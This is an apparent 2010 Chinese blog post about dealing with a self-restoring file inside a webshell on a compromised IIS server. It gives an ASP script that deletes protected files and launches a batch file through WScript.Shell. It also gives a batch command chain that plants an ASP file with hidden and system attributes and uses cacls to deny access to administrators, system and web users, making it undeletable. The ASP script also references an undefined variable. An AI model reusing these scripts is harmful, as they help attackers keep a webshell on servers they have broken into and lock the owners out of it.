对于webshell内文件无限恢复的应付方法

2010年5月30日星期日 | | |

 情况是这样,webshell(仅仅是webshell)下有个文件无法删除,无法修改,通过attributes 去除属性后再删除,但瞬间"满血满状态,原地复活了"

貌似以前就遇到过这种情况,当初还跟knell讨论过,一致认为是服务器下有个文件 通过  requst 截取某些参数,然后通过Server.CreateObject("Scripting.FileSystemObject") 来创建这个"无法删除的"文件,接着Attributes设置权限,然后通过外部服务器不断的get,post发包,来让这个文件无限的复活- -

对此,我写了个脚本,经测试,完美阻止这种恶心的攻击方式

Poc.1:
  ____________________________________________________________________________
Function DelAttrib(TheFile)  'thefile为要修改的文件,大家最好自己写个from表单
response.write "Loading...:"&TheFile&" ...<br>"
set fs=Server.CreateObject("Scripting.FileSystemObject")
IF fs.FileExists("\\.\"&TheFile) then
set f=fs.GetFile("\\.\"&TheFile)
f.Attributes=0  '设置属性
set f=nothing
response.write "Less Success!" '成功后的提示
if Right(TheFile,1)="\" or Right(TheFile,1)="/" or Left(Right(TheFile,4),1)<>"." then
Call fs.DeleteFolder(EE,true)'删除文件
response.write "Delete Success!"
else
IF fs.FileExists("\\.\"&TheFile) then
FN=LCase(Mid(TheFile,InStrRev(Replace(TheFile,"\","/"),"/")+1))
if Instr(FN,"com")<1 and Instr(FN,"con")<1 and Instr(FN,"aux")<1 and Instr(FN,"prn")<1 and Instr(FN,"nul")<1 then
set f=fs.GetFile("\\.\"&TheFile)'
f.Attributes=0
set f=nothing
end if

fs.Deletefile("\\.\"&TheFile) '基于windows保留字命名文件的删除模式
response.write "Delete Success"
else
response.write "Open File Fail!"  '错误提示
end if
end if
else
response.write "Open File Fail!"
END IF
Dim CMDShell,StrExec,ExecName
set CMDShell=Server.CreateObject("WScript.Shell") '调用wscript执行Poc.2的bat脚本
StrExec="D:\web\cmd.exe /c"   '这里为自定义的cmd文件
ExecName="D:\web\jfcx\include\a.bat" '这里为上传到服务器的bat脚本
CMDShell.exec(StrExec&" "&ExecName).stdout.readall
set fs=nothing
End Function

_____________________________________________________________________________
Poc.2:
————————————————————————————————————————————
copy d:\web\a.asp \\.\d:\web\b.asp&&attrib \\.\d:\web\b.asp +a +r +s +h&&cacls \\.\d:\web\b.asp /e /d IUSR_WSPC-HVJ5FRCT79&&cacls \\.\d:\web\b.asp /e /g IUSR_WSPC-HVJ5FRCT79:r&&cacls \\.\d:\web\b.asp /e /d users&&cacls \\.\d:\web\b.asp /e /g users:r&&cacls \\.\d:\web\b.asp /e /d system&&cacls \\.\d:\web\b.asp /e /d administrators
此处脚本存为bat,d:\web\a.asp 是自己创建的文件路径 d:\web\b.asp 是自动恢复的文件路径 ,各服务器iis用户组有所不同,请自行修改
————————————————————————————————————————————
 
我的QQ空间
关于robots.txt 的一些资讯
robots.txt,存放于网站根目录下的ASCII编码的文本文件,文件名...
 

0 评论:


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]